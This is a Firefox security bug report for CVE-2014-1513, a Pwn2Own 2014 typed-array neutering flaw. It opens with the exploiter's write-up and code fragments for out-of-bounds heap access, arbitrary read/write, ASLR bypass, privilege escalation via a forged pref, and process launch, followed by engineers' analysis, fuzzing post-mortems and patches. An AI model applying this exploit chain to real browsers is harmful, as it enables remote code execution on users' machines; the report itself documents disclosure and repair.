982974 - (CVE-2014-1513) TypedArrayObject.cpp doesn't take into account that ArrayBuffers can be neutered (ZDI-CAN-2220)

Status: RESOLVED FIXED

(Core :: JavaScript Engine, defect)

Description

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Pwn2Own 2014 Firefox exploit
By Jüri Aedla
The bug
Code in js/src/vm/TypedArrayObject.cpp doesn't take into account that ArrayBuffers
can be neutered. Neutering sets ArrayBuffer length to zero. Quite a few functions are probably
vulnerable, I tested TypedArrayObjectTemplate::fun_subarray_impl() and
DataViewObject::write().
fun_subarray_impl() does:
…
uint32_t length = tarray->length();
…
if (!ToClampedIndex(cx, args[1], length, &end))
…
JSObject *nobj = createSubarray(cx, tarray, begin, end);
It stores the array length and then reads the value of args[1]. If args[1] is an object, its
valueOf() is called, so attacker gets control. Attacker can then neuter the array so its length
becomes zero. Now fun_subarray_impl() proceeds with an invalid length and creates a large
subarray of an empty array. The subarray is returned to the attacker, so he gets an OOB chunk which
he can read/write.
The OOB chunk lies in javascript heap. Normally large ArrayBuffer contents are allocated
externally. But as the ArrayBuffer is neutered, ArrayBufferObject::changeContents()
resets the elements pointer to fixedElements(), which points into the ArrayBuffer object
itself, allocated in JS heap. So the attacker can now read/write an OOB chunk in JS heap.
Exploit
The exploit consists of two components. Code under neuter/ achieves arbitrary read/write and leaks
a pointer to data section. It is wrapped in a RW module, which has functions ReadU8(), WriteU8()
and LeakPtr(). Second part of the code under libexp/ takes the RW module and executes calc. It
is reusable.
Arbitrary read/write
The exploit escalates the read/write of JS heap chunk into arbitrary read/write by taking control over a
Uint8Array. Uint8Array is a nice target because one of its slots is pointer to data. By overwriting
this pointer we can read/write arbitrary locations.
So the expoit creates a neuterable ArrayBuffer:
this.unused.push(this.audio_context.createBuffer(1, conf.oob_size_u32, 96000));
…
this.audio_buffer = this.unused.pop()
Then it creates 500000 Uint8Arrays:
for (var i = 0; i < conf.num_views; i++)
this.views.push(new Uint8Array(this.buffer_for_views, conf.magic_offset,
conf.magic_length));
The magic_offset is 20 random bits which make it easy to search for the views from the OOB
block. Now we create a subarray of an Uint32Array which wraps a neuterable ArrayBuffer:
var view_f32 = this.audio_buffer.getChannelData(0);
var array_buffer = view_f32.buffer;
var view_u32_tmp = new Uint32Array(array_buffer);
this.oob = view_u32_tmp.subarray(0, end);
The end is an object whose valueOf() neuters the ArrayBuffer:
var convolver = this.audio_context.createConvolver();
convolver.buffer = this.audio_buffer;
So OOB memory block can now be accessed via this.oob. Let's search for any Uint8Array:
for (var i = 0; i < this.oob.length; i++) {
if (this.oob[i + this.ByteOffsetSlot] == this.conf.magic_offset &&
this.oob[i + this.ByteLengthSlot] == this.conf.magic_length) {
break;
Then determine which one we found:
this.oob[this.SlotOffset(this.ByteOffsetSlot)]--;
for (var i = 0; i < this.views.length; i++) {
if (this.views[i].byteOffset == this.conf.magic_offset - 1) {
break;
We can now overwrite the data pointer of found Uint8Array. Let's implement ReadU8():
this.SetAddress(address);
return this.rw_view[0];
SetAddress() overwrites the data pointer:
this.WritePointerSlot(this.DataSlot, address);
which does:
var offset = this.SlotOffset(slot);
this.oob[offset] = pointer.Low();
if (platform.Is64BitBrowser())
this.oob[offset + 1] = pointer.High();
WriteU8() is similar. Now to break ASLR. We basically read Uint8Array->type_->clasp,
which points into static TypedArrayObject::classes[]. The classes array lies in the
data section of mozjs.dll, so we find where mozjs.dll is:
var type_address = this.ReadPointerSlot(this.TypeSlot);
var type = new Variable(this, type_address, this.type_object_type);
this.leaked_ptr = type.clasp.Read();
The RW module is now complete.
Btw, the Variable above is a helper object that can read/write different integer types, pointers, struct
fields. The first argument to Variable is the RW module, second is the variable address, third is
variable type. The type_object_type is defined as:
this.type_object_type = {
kind: 'struct',
fields: {
clasp: {offset: 0, type: Variable.Pointer},
},
}
So we're declaring a struct with clasp pointer field at offset 0.
Getting Components
Now to escalate arbitrary read/write into privileged javascript. For that the exploit creates the
"security.turn_off_all_security_so_that_viruses_can_take_over_this_co
mputer" pref entry. Once we have this entry, new iframes will have
netscape.security.PrivilegeManager attached. Once we have that, we can get the
Components object:
netscape.security.PrivilegeManager.enablePrivilege();
This gives us the privileged Components object, which enables us to access the filesystem and
launch processes.
Here's the code creates the pref entry:
var key =
'security.turn_off_all_security_so_that_viruses_can_take_over_this_computer';
var hash = 0x3da5e8d3;
var key_string = this.memory.AllocateString(key).address;
var hash_table = this.memory.GetVariable('xul!gHashTable', this.hash_table_type);
var hash_shift = hash_table.hash_shift.ReadJsNum();
var entry_index = U32Shr(hash, hash_shift);
var entry = hash_table.entry_store.DerefAt(entry_index);
entry.key_hash.WriteJsNum(hash);
entry.key.Write(key_string);
entry.user_pref.WriteJsNum(1);
entry.flags.WriteJsNum(0x0082);
return entry;
So we calculate the entry_index and fill out key_hash, key, user_pref and flags of the
entry.
Executing calc
Once we have the privileged Components, we execute calc:
var file = this.CreateClass('file/local', 'nsIFile');
var stream = this.CreateClass('network/file-output-stream',
'nsIFileOutputStream');
var process = this.CreateClass('process/util', 'nsIProcess');
var command = this.GetCommand();
file.initWithPath(this.GetShellScriptPath());
stream.init(file, this.Wronly | this.CreateFile | this.Truncate, 0755, 0);
stream.write(command, command.length);
stream.close();
process.init(file);
process.run(true, [], 0);
file.remove(false);
where command == 'start calc' and GetShellScriptPath() creates a temporary path
for a .bat file. So we create a .bat file, write 'start calc' inside and launch it.

Comment 2

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Attachment: exploit.html

Comment 6

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Attachment: platform.js

Comment 7

[Curtis Koenig [:curtisk-use curtis.koenig+bzATgmail.com]]]

Attachment: utils.js

Comment 9

[Christian Holler (:decoder)]

I tried reproducing this in the shell, but failed so far (here's my attempt):

var a = new ArrayBuffer(1024);
var v = new Uint32Array(a);
oob = v.subarray(0, 128);
neuter(a);
oob;

However, after neutering, oob correctly displays size 0. Either it's too late and I'm getting the bug description wrong (or my code), or neuter in the shell behaves differently than in the browser.

Comment 10

[Steve Fink [:sfink] [:s:]]

Attachment: Basic test

I'll look at this a little later, but here's something that at least asserts in a debug build. Older builds won't have neuter(). I don't know if it's enough to crash an opt build.

Comment 11

[Naveed Ihsanullah [:naveed]]

Steve, assigning the to yo because it came from Pwn2Own. Thanks for jumping on it.

Comment 12

[Steve Fink [:sfink] [:s:]]

(In reply to Christian Holler (:decoder) from comment #9)
> I tried reproducing this in the shell, but failed so far (here's my attempt):
> 
> var a = new ArrayBuffer(1024);
> var v = new Uint32Array(a);
> oob = v.subarray(0, 128);
> neuter(a);
> oob;
> 
> However, after neutering, oob correctly displays size 0. Either it's too
> late and I'm getting the bug description wrong (or my code), or neuter in
> the shell behaves differently than in the browser.

Yeah, that's not enough. You need to neuter the buffer in between the time it computes the length of the array and when it uses it, and you can do that by neutering when the subarray length argument is processed. (See my attached test case.)

Comment 13

[Steve Fink [:sfink] [:s:]]

Attachment: Test case that asserts in debug and seg faults in opt

I updated it to work with older shells that don't have neuter (though I confused myself in the process by testing with a really old shell that didn't even have Transferables and so was immune.)

Comment 14

[Jason Smith [:jsmith]]

Paul - Is this needed for FxOS 1.3?

Comment 15

[Steve Fink [:sfink] [:s:]]

Attachment: Process args before evaluating bounds

I think this should do it.

This also fixes a bug where if ToInt32 threw an exception during (typedarray)#move, the typed array code would replace it with an "invalid args" exception of its own. Which would be particularly unfortunate if the original exception was uncatchable.

Comment 16

[Andreas Gal :gal]

Jesse, any idea why our fuzzers didn't hit this?

Comment 17

[Paul Theriault [:pauljt] (no longer reading bugmail)]

Seems like it would affect b2g as well, and confirmed this PoC crashes on 1.4.

Comment 18

[Paul Theriault [:pauljt] (no longer reading bugmail)]

Sorry, just double checked and the crashes I were seeing were OOM crashes. Still sounds like it should affect b2g though right?

Comment 19

[Gary Kwong [:gkw] [:nth10sd] (NOT official MoCo now)]

(In reply to Steve Fink [:sfink] from comment #13)
> Created attachment 8390275 [details]
> Test case that asserts in debug and seg faults in opt

On mozilla-release branch, using this testcase, I could bisect to:

autoBisect shows this is probably related to the following changeset:

The first bad revision is:
changeset:   7cc3e16e4af1
user:        Steve Fink
date:        Tue Oct 15 23:47:26 2013 -0700
summary:     Bug 861925 - Add an optional parameter to the shell serialize() function for specifying Transferables, r=jorendorff

However, I guess the problem might still exist before that, as this changeset just points to a change in the serialize function.


(In reply to Andreas Gal :gal from comment #16)
> Jesse, any idea why our fuzzers didn't hit this?

I'm guessing this was because (at least) jsfunfuzz doesn't know about serialize.

Comment 20

[Steve Fink [:sfink] [:s:]]

Attachment: Throw a TypeError if index args are out of range at end of processing

Ok, here's another attempt, following the spec (which throws a TypeError for an out of range problem, which I don't understand, but I'm sure there's a good reason.)

Comment 21

[Steve Fink [:sfink] [:s:]]

Attachment: Throw a TypeError if index args are out of range at end of processing

Posted that last one too soon.

Comment 22

[Steve Fink [:sfink] [:s:]]

(In reply to Gary Kwong [:gkw] [:nth10sd] from comment #19)
> (In reply to Steve Fink [:sfink] from comment #13)
> > Created attachment 8390275 [details]
> > Test case that asserts in debug and seg faults in opt
> 
> On mozilla-release branch, using this testcase, I could bisect to:
> 
> autoBisect shows this is probably related to the following changeset:
> 
> The first bad revision is:
> changeset:   7cc3e16e4af1
> user:        Steve Fink
> date:        Tue Oct 15 23:47:26 2013 -0700
> summary:     Bug 861925 - Add an optional parameter to the shell serialize()
> function for specifying Transferables, r=jorendorff
> 
> However, I guess the problem might still exist before that, as this
> changeset just points to a change in the serialize function.

Yes, that bug just added something to the shell that could neuter ArrayBuffers. The browser already had a way, via postMessage. The bug really dates back to the introduction of Transferables (that's what neutering was introduced for.)

You should be able to adapt the testcase using postMessage in place of serialize if you want to bisect farther back.

Comment 23

[Jeff Walden [:Waldo]]

sfink pointed out on IRC that Array.prototype.splice is similar in nature to some of the stuff here, and it might have similar problems.  I'm investigating that, but tentatively I *think* the bogus length that's an input in that algorithm, if ToInteger on one of the arguments does screwy stuff, doesn't poison anything too horribly.  In the dense case I think CanOptimizeForDenseStorage may save the day, but I need to investigate further.  The non-dense/slow case is probably sufficiently generic that it doesn't try too hard and descend into badness, in at least some cases, but I haven't looked at all of them.  More looking into this needed.

Comment 24

[Jeff Walden [:Waldo]]

(In reply to Steve Fink [:sfink] from comment #22)
> You should be able to adapt the testcase using postMessage in place of
> serialize if you want to bisect farther back.

Which probably makes the point that this wasn't (initially) found because the fuzzers pretty much just fuzz JS using the shell, where there's no postMessage.  Once neuter showed up (which presumably does get fuzzed), it seems like it should have been possible to find this in the shell.  I don't know enough about the fuzzers to know if there's some trick they don't know that would have been needed to find this, once they knew about neuter.

Comment 25

[Jeff Walden [:Waldo]]

I think Array.prototype.splice is safe.  In the non-dense cases, things that happen are entirely-generic element accesses that should hit safe defaults (like holes being undefined/etc.).  The dense cases are guarded by CanOptimizeForDenseStorage, which takes in an index and a count to describe where "stuff" is going to happen that we want to make fast.  The sum of those (assuming no overflow, which that method does check) is compared against the *current* dense initialized length of the array -- no use of bad precomputed values there.

Also, the Array code has an extra wrinkle to deal with that typed arrays don't: the length of an array doesn't correspond to the elements in it.  (More precisely, initializedLength <= length, but otherwise they're unrelated.)  Anything that indexes into an object's dense elements has to be sure they're not just a bunch of (possibly implicit) holes.  Given that extra prod, which everyone involved was well aware of (even if they missed the evaluating-argument weirdness here that was also possible), I feel pretty confident in Array.prototype.splice being okay.

(There is one place that's slightly screwy, in the |itemCount > actualDeleteCount| case.  There, if the object's an array and the length is writable, we try to extend dense element storage to accommodate the increase in elements.  We do so using the *current* length -- not the stale one -- and the desired increase.  If the array was trimmed, this won't ensure as many elements as we actually ideally want to fill.  But again, CanOptimizeForDenseStorage is passed the precomputed length and correct element increase, so it'll just say "no optimization" when not enough elements are present.  So no worries again there -- but it does seem like it'd be better/more consistent to pass |len| to the ensureDenseElements call rather than |arr->length()| which might be screwy, for consistency with all the rest of the method's code, and for consistency with the subsequent optimization condition.)

Now, about *Array.prototype.slice*, not mentioned by sfink but also susceptible to these sorts of issues.  That code's far simpler, and it looks fairly clearly correct to me.  It checks the requested range starts within the dense storage after any screwy mucking might have happened, and it's careful not to read elements outside the dense storage.  splice is a spec abomination that I don't think anyone can be truly 100% confident in bug-free-ness, but slice is simple enough I'm willing to express solid confidence in it.

Comment 26

[Christian Holler (:decoder)]

I think both jsfunfuzz and LangFuzz found bugs that involved the "neuter" function (e.g. bug 976697 or bug 975448), but I don't know exactly why we didn't find this particular one. I will recheck LangFuzz's configuration to see if the neuter function is on the whitelisted identifiers (so it doesn't get replaced when being transplanted to other tests). Needinfo on myself for doing that later.

Comment 27

[Jeff Walden [:Waldo]]

Comment on attachment 8390339 [details] [diff] [review]
Throw a TypeError if index args are out of range at end of processing

Review of attachment 8390339 [details] [diff] [review]:
-----------------------------------------------------------------

So this looks fine modulo the not-too-tricky comments below, excepting the test which I didn't examine.  But I want to do a bit more looking at TypedArrayObject.cpp and ArrayBufferObject.cpp both to audit all the ->length() callers in each, before I'm willing to say this is a complete fix.  And it's late'o'clock now and I'm fading on that sort of careful examination.  So I'll look more later today, after I get a bit of sleep.  (Hoping to finish this up this morning, but that depends on how much sleep I get/think I should get before returning to this again -- haven't decided that yet, tho obviously I'm deciding that Real Soon Now.)

::: js/src/js.msg
@@ +435,5 @@
>  MSG_DEF(JSMSG_TYPEDOBJECT_HANDLE_TO_UNSIZED, 381, 0, JSEXN_TYPEERR, "cannot create a handle to an unsized type")
>  MSG_DEF(JSMSG_SETPROTOTYPEOF_FAIL,      382, 1, JSEXN_TYPEERR, "[[SetPrototypeOf]] failed on {0}")
>  MSG_DEF(JSMSG_INVALID_ARG_TYPE,         383, 3, JSEXN_TYPEERR, "Invalid type: {0} can't be a{1} {2}")
>  MSG_DEF(JSMSG_TERMINATED,               384, 1, JSEXN_ERR, "Script terminated by timeout at:\n{0}")
> +MSG_DEF(JSMSG_TYPE_ERR_BAD_ARGS,        385, 0, JSEXN_TYPEERR, "invalid arguments")

TypeError seems like a clear es6 spec bug to me, but let's roll with it for now because security and all.  We can fix it to RangeError on trunk after tc39 makes the clearly-correct change.

::: js/src/vm/TypedArrayObject.cpp
@@ +574,5 @@
>          uint32_t srcBegin;
>          uint32_t srcEnd;
>          uint32_t dest;
>  
>          uint32_t length = tarray->length();

Could you rename this to |originalLength| and have a separate variable |lengthJustBeforeMove| or some better name, so that it's abundantly clear that the two numbers may be different, even though they represent the same concept for the typed array?  These would force someone reading the code to squarely confront the different meanings.  Reusing the unclearly-named "length" variable makes this more obscure than it should be, seems to me.

@@ +577,5 @@
>  
>          uint32_t length = tarray->length();
>          if (!ToClampedIndex(cx, args[0], length, &srcBegin) ||
>              !ToClampedIndex(cx, args[1], length, &srcEnd) ||
> +            !ToClampedIndex(cx, args[2], length, &dest)) {

{ on next line to avoid bleed-in.

@@ +596,1 @@
>              return false;

So this is throwing Error.  Not TypeError as in the screwy stuff for ArrayBuffer, not RangeError as would be sane.  I checked to see what specs said, and I can't find move() at all in them.  Is this our own non-standard thing?  In that case whatever, but if this is spec'd somewhere and should be TypeError, please adjust accordingly.

@@ +845,5 @@
>  
> +        if (begin > tarray->length() || end > tarray->length() || begin > end) {
> +            JS_ReportErrorNumber(cx, js_GetErrorMessage, nullptr, JSMSG_TYPE_ERR_BAD_ARGS);
> +            return nullptr;
> +        }

subarray acts "as if" by calling |new Uint8Array(...)| or so, and those methods throw RangeError for bad arguments.  So this should be throwing a RangeError, not an Error as it throws now.

Comment 28

[Christian Holler (:decoder)]

Further investigation on why LangFuzz didn't find this:

An optimized build didn't crash for me (with sfink's shell test). However, a debug build gave me:

Assertion failure: end <= tarray->length(), at js/src/vm/TypedArrayObject.cpp:844

So in debug builds, this failure condition was at least detectable.

Next, the "neuter" shell helper function was not on LangFuzz identifier whitelist (that must have slipped under the radar). That doesn't mean that LangFuzz didn't test with neuter at all, it just means that pieces of code containing a call to neuter had that call replaced when the code was transplanted to another test. Only when tests already containing neuter (and we only have 6 of those) were mutated, neuter was tested properly.

Once my machines in MV are back up, I will investigate if we would have found it without the whitelist issue.

Comment 29

[Steve Fink [:sfink] [:s:]]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #25)
> I think Array.prototype.splice is safe.  In the non-dense cases, things that

Yeah, when I read through the code my findings were the same. It's still complicated enough that I'm not 100% confident, but I couldn't spot anything.

> Now, about *Array.prototype.slice*, not mentioned by sfink but also
> susceptible to these sorts of issues.  That code's far simpler, and it looks
> fairly clearly correct to me.  It checks the requested range starts within

Sorry, I looked at that later and had the same impression -- it contains the problematic pattern, but it's pretty easy to see that the later logic checks out.

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #24)
> (In reply to Steve Fink [:sfink] from comment #22)
> > You should be able to adapt the testcase using postMessage in place of
> > serialize if you want to bisect farther back.
> 
> Which probably makes the point that this wasn't (initially) found because
> the fuzzers pretty much just fuzz JS using the shell, where there's no
> postMessage.  Once neuter showed up (which presumably does get fuzzed), it
> seems like it should have been possible to find this in the shell.  I don't
> know enough about the fuzzers to know if there's some trick they don't know
> that would have been needed to find this, once they knew about neuter.

Point of clarification: you don't need neuter() to test this, only serialize().

The order of introduction of these things was:

1. adding a Transferables parameter to postMessage() (browser-only)
2. adding a Transferables parameter to serialize() (shell-only)
3. adding a direct neuter() (shell-only)

with time lags between each. (And backouts and relandings.)

decoder: is serialize whitelisted?

Now, there's the added wrinkle that serialize() used to return a Uint8Array containing the raw cloned bits, but when I added the Transferables that created a fuzzing hazard, where you could modify the clone buffer and mess up pointers that would be used in deserialize(). So I marked it fuzzing-unsafe somewhere in there, and later changed it to return an opaque CloneBuffer class object. This may have prevented the fuzzers from using it to test neutering. Currently, the only thing turned off in a fuzzing-safe configuration is that you can't modify a clone buffer, which would not interfere with using serialize() for fuzzing, but I think that's relatively recent.

Comment 30

[Christian Holler (:decoder)]

I just checked and found that both neuter *and* serialize are in fact whitelisted since Jan 09, 2014 when I rewrote and cleaned up the whitelist. Before that, neither was on the list. So we had roughly two months of fuzzing with both of these functions being whitelisted and didn't find it. It might well be that it's just bad luck/too complex for LangFuzz to find/construct from existing tests. I don't know about jsfunfuzz's use of neuter/serialize.

Comment 31

[Steve Fink [:sfink] [:s:]]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #27)
> @@ +595,1 @@
> > JS_ReportErrorNumber(cx, js_GetErrorMessage, nullptr, JSMSG_TYPE_ERR_BAD_ARGS);
> >              return false;
> 
> So this is throwing Error.  Not TypeError as in the screwy stuff for
> ArrayBuffer, not RangeError as would be sane.  I checked to see what specs
> said, and I can't find move() at all in them.  Is this our own non-standard
> thing?  In that case whatever, but if this is spec'd somewhere and should be
> TypeError, please adjust accordingly.

Uh, that's a TypeError, not an Error, isn't it?

Yes, it's our own thing. I don't remember if it was ever formally proposed for the spec, but it's been discussed with multiple parties. It's disabled for release, so it doesn't matter much for this bug. I'm fine with switching it to a RangeError.

Comment 32

[Steve Fink [:sfink] [:s:]]

Attachment: Throw a TypeError if index args are out of range at end of processing

Ok, comments applied. Note that I created a new JSMSG_BAD_INDEX which is identical to the existing JSMSG_TYPEDOBJECT_BINARYARRAY_BAD_INDEX, because I hoped it would lead to less backporting pain this way and I think the typedobject one should be made generic (but not in this patch.)

Comment 33

[Jeff Walden [:Waldo]]

So, still looking beyond this.  But I think I've run into enough things so far that it's worth commenting, and worth asking: is there any chance, any chance at all, we could consider turning off neutering, transfers, etc. for typed arrays/array buffers/etc. on all the affected branches?  This is a deep sinkhole of complexity.  It's going to be a mess to ensure we've found and fixed everything.  I'm not particularly confident in our ability to do so without extended fuzzing.  Maybe we can do it.  But I'd really really really rather not, if we can help it at all.  And unlike some of the massive XPConnect changes we've landed in the past, I don't think anything here is very hard for a determined attacker to grok, and to exploit.

==================

DataViewObject::construct has these sorts of issues.

TypedObject::constructUnsized has these issues in the buffer constructor case.

In TypedObject::createUnattachedWithClass, is |type|'s .prototype property one created by the engine, as non-configurable and definitely never an accessor?  Not sure what TypeDescr stuff looks like, exactly.  If it could be an accessor, the TypedObject::constructSized buffer case is broken.  Or, wait.  What happens if I do |new Proxy(a TypeDescr thingy, {})| and call that?  Will I enter into constructSized with a callee that *isn't* the TypeDescr thing, such that we can pounce on/intercept a .prototype access even if it's a guaranteed data property?  Hmm.  *That* issue if it exists affects more than this, like the *Error constructor.  Which means it probably doesn't (maybe [[Call]] on a direct proxy doesn't pass along the proxy as callee?), but worth noting for paranoia if no other reason.

Is IonBuilder::getTypedArrayLength aware at all of neutering?  It converts a typed array length access into a constant if the object and index are both constant.  Does that record a dependency for TI to invalidate?  Actually, given IonBuilder::getTypedArrayElements just beneath it, I'm really doubting it.

Neutering causes the IC added by GetElementIC::canAttachTypedArrayElement to be invalidated, right?

CodeGeneratorX86::visit{Load,Store}TypedArrayElementStatic inlines a length for a statically known typed array.  Will neutering invalidate that?  (Seems likelier since the object's static and all, but worth asking.)

We'd have troubles in a bunch of places when taking an input value, then assigning it into a typed array, array buffer, &c. but rather than doing ToUint32(v) (as the spec requires) to assign v into a typed array, we do (v is object ? NaN : ToUint32(v)), so all such conversions don't invoke user-provided code.  Now.  When we fix that (not sure if bug on file) we'll have to be very careful about this issue there.

Has anyone talked to the JSC people about this issue?  Most of the methods appear to do argument validation, then compare against byteLength/length/&c. computed after all the argument processing, so they're largely safe.  But not fully, going by eyeball.  Looking at their code (say, for example, JSGenericTypedArrayView<Adaptor>::putByIndex and JSGenericTypedArrayView::setIndexQuickly) I'm pretty sure they have the same issue in at least *some* places.    Harder to tell, tho, since they've got their implementation spattered across more files than we do.

The JS_GetDataViewData and JS_GetDataViewByteLength and so on methods seem really dangerous to have in API now, because as soon as arbitrary script runs, their contents are potentially invalid.  Ditto for the similar typed array methods.  At the very least, we should expose raw data access through some sort of C++ struct that gets notified on reentry and asserts if so.  Or something.  I skimmed hits for "JS_GetTypedArray" and for "JS_GetDataView" (none of the latter are even used!) and *think* nobody's doing those, then performing JSAPI-invalidating operations afterward.  Someone else should probably double-check that, too.

======

More still coming.  (I renamed byteLength/length/viewData/dataPointer/etc. accessor functions locally, and I've been going through all the places that are hit, to see whether this patch fixes them, they're okay on their own, or additional fixing is necessary.  Whee, Schlemiel.)

Comment 34

[Lukas Blakk [:lsblakk] use ?needinfo]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #33)
> So, still looking beyond this.  But I think I've run into enough things so
> far that it's worth commenting, and worth asking: is there any chance, any
> chance at all, we could consider turning off neutering, transfers, etc. for
> typed arrays/array buffers/etc. on all the affected branches?  This is a
> deep sinkhole of complexity.  It's going to be a mess to ensure we've found
> and fixed everything.

If this is something that could be cleanly disabled, even just for 28 so we can get that built and out to users for final testing, that would be ideal

Comment 35

[Jeff Walden [:Waldo]]

Neutering dates back to Firefox 18, bug 720949 -- further than I thought.  Probably removing neutering can't fly.  But I don't know for absolute certain.  I had to raise it as a possibility, just in case, particularly as I thought neutering was only added much more recently than that.

And, no, I'm not even sure whether it could be cleanly disabled.  My memory of what we did before we neutered is very hazy.  Did we just copy the arrays?  Throw exceptions on transfer attempt?  Something else?  Whatever was done, would affect turn-off-ability quite a bit, but I don't remember what it was.

Comment 36

[(no longer active)]

Removing/disabling neutering semantics also breaks the semantics of Web Audio which we shipped in Firefox 25 and fought pretty hard on at W3C.

Comment 37

[Lukas Blakk [:lsblakk] use ?needinfo]

OK it sounds like disabling neutering is not a safer/cleaner options for FF28 - what about the current patches?  what is the risk here of taking them? also do they help with bug 983344?

Comment 38

[Jeff Walden [:Waldo]]

Continuing onward.

=====

I don't understand js::SetTypedObjectOffset enough to say whether the dataPointer() call in there is safe.  My guess would be yes, but a TypedObject person needs to look.

TypedArrayObject::isArrayIndex looks like it may be dead code.

ArrayBufferInputStream::SetData in XPCOM land seems to have been written pre-neutering.  I'm not sure the concept is even necessarily valid any more -- or at least every use of the stream has to check for neutered-ness before doing stuff with it.

nsBinaryInputStream::ReadArrayBuffer is not itself inherently problematic.  But if the underlying stream being read from is implemented in JS as an XPCOM component or so, that code could neuter the ArrayBuffer passed into the method.  Since this would be privileged code, doing neuter-ful stuff on the argument passed in, this is more of an API mistake than a worrisome bug.  We should still fix things here somehow.

TypedArrayObjectTemplate::{get,set}Index should assert in-boundsness of the provided index, seeing as they write into an array after that.  No idea why they don't, it's easy to do.

DataViewObject::write is faulty.

js.cpp has cache-entry stuff that uses ArrayBuffer objects, to some extent, for keys and/or values.  (I'm skimming the code pretty hard, so don't get the full details.)  Probably someone malicious could hand off an ArrayBuffer, then neuter it later behind the shell's back.  Not a security issue, but a quality issue of sorts.

Structured cloning has a bunch of byteLength()/length() and so on calls in it.  I know we took some care about neutering and stuff changing in there, but I'm going to assume it's all neuter-safe without checking super-closely.

=====

I *think* that's everything.  But I could easily have missed some other issue here.

Comment 39

[Niko Matsakis [:nmatsakis]]

Just FYI, the Typed Objects code is not enabled except on Nightly builds, but I will definitely try and audit it for related problems.

Comment 40

[Vladimir Vukicevic [:vlad] [:vladv] (needinfo me, slow to respond)]

idea: can't kill neutering, but can we band aid it under the hood for 28?  Basically, mark an AB as neutered like we do now, but allocate a dummy all-0's buffer for it to point to whenever we neuter.
It's gross, awful, wasteful, but maybe using calloc() kernels might even optimize away a set of all 0 pages.  But it *should* at least nullify this exploit, and get us needed time to work on a proper fix.

Comment 41

[Jeff Walden [:Waldo]]

(In reply to Lukas Blakk [:lsblakk] from comment #37)
> OK it sounds like disabling neutering is not a safer/cleaner options for
> FF28 - what about the current patches?  what is the risk here of taking
> them? also do they help with bug 983344?

The current patches are incomplete and don't address all of the issues in the two longer comments I made in the last couple hours.  Nor do they address bug 983344, which is pretty much the same as this one, just pointing out yet another tack.

(The number of tacks here is why I'm going to very un-confident in the correctness *and* completeness of any patch here, and was why nuking from orbit would be much preferable from a security point of view to give us breathing room to take time to be careful about fixing all of this, and *knowing* we've fixed all of it, and haven't missed some similar very-nearby 0day.  Once the basic idea is out there, if there's any variation of it we neglect to fix with an incomplete patch, it *will* be found in very short order.  The changes in this bug, and in a patch for it, absolutely cannot be rushed, no matter how much we might think we want to, or can, rush them.)

Comment 42

[Jesse Ruderman]

jsfunfuzz didn't find this because it requires having an evil valueOf function that both neuters an array and returns a large value, and passing it as the second arg to subarray. This combination is seems too unlikely to happen with the generic fuzzing code, and the typed-array-specific fuzzing code only passed literals to subarray. I have fixed the latter in fuzzing rev ca10df2bea61.

Comment 43

[Kannan Vijayan [:djvj]]

(In reply to Jeff Walden [:Waldo] (remove +bmo to email) from comment #33)
> Is IonBuilder::getTypedArrayLength aware at all of neutering?  It converts a
> typed array length access into a constant if the object and index are both
> constant.  Does that record a dependency for TI to invalidate?  Actually,
> given IonBuilder::getTypedArrayElements just beneath it, I'm really doubting
> it.

It seems to be, from my perusal:

ArrayBufferObject::stealContents calls ArrayBufferObject::neuterViews on the buffer, which calls MarkObjectStateChange on all the views, which calls markStateChange on the typeObject for each view.

I'm guessing (but not sure), that the list of views in implementation terms includes the TypedArray objects in addition to "proper" views.  The TypedArray objects would presumably be 'trivial views' across the entire buffer, and would be included in this type-change.  Can someone confirm?

The other half of this is that |getTypedArrayLength| must freeze on the TypeObject of the typed array whose length its constantizing.  I'm not sure how we would determine we can constantize TypeObjects in the first place so I'm not sure where to look for this behaviour.

> Neutering causes the IC added by GetElementIC::canAttachTypedArrayElement to
> be invalidated, right?

The stub code generated by canAttachTypedArrayElement dynamically ensures that the index being retrieved is larger than the length of the typed array value flowing in.  As long as we are sure that |length| on the typedArray has been zero-ed on neuter, the stub will simply refuse to handle the typed array.

Comment 44

[Jesse Ruderman]

How many other VM functions coerce args late? That pattern is often dangerous and often hard to test well.

Comment 45

[Jeff Walden [:Waldo]]

Attachment: Possible trunk patch for issue, that allocates zeroed equal-sized memory for neutered buffers

This might be a fix, that doesn't require large-scale auditing of uncertain correctness.  It's hot off the presses and has had ~no testing but three minutes' manual testing at the smallest of levels, so I make no guarantees about it.  Fugly as all get-out, but probably not too far off from a suitable hack-fix.  I'm not sure if it's ready or not yet -- fuzzing welcome, but beware it might well blow up trivially.

I don't know how easily this does/doesn't backport to branches.  I suspect it's not too bad, maybe some minor naming changes to deal with and that's it, but sfink would know better how much this stuff has changed since then.

Comment 46

[Jeff Walden [:Waldo]]

Hmm.  Just thought of a wrinkle with the back-with-zeroes thing.  I'm fairly sure it works fine if you neuter *once*.  But I suspect if you neuter an ArrayBuffer *twice*, the first time through you'll get oversized contents, but the second time you'll get 0-sized contents.  And then your stale references wrt the first length will still be bad.  I think this can probably be solved by making ArrayBufferObject::neuter return early if |getElementsHeader()->isNeuteredBuffer()|.  But the issue should probably be pointed out so that others watching can think of ways to be even more clever about attacking this.

I should perhaps clarify that the patch I just posted should fix *non-debug* builds only.  Any debug build will have assertions compiled into it, and those assertions will continue to fail with this patch, just as they failed before it.  This patch only makes it so the *consequences* of those assertions failing are not dangerous.  So this patch is only useful for testing with non-debug builds.

Comment 47

[Jeff Walden [:Waldo]]

Attachment: Neuter buffers by replacing their elements with zeroed elements with 0 byteLength

Yep, neutering twice was still buggy.  (You can see this by changing attachment 8390275 [details] to add a second |serialize(b, [b]);| after the first.)  Solve this (rather elegantly, even!) by making neutered elements non-transferrable.

If we want to rush on this to get it into the next release on Tuesday or whichever day it is, I would be willing to have this patch rushed to do so (assuming r=sfink and all that first).  It won't solve all the assertion botches any testcase of this will point out, but it *will* make the failure modes memory-safe, as far as I can tell.

That said, taking this puts us in a weird place, because any test we add for this will have to check for |!getBuildConfiguration().debug| before proceeding -- and it'll have to explicitly distrust the results of those tests, except to the extent that no crash occurs.  So any tests would have to look sort of like this:

function test()
{
  if (getBuildConfiguration().debug)
    return;

  try { test1(); } catch (e) {}
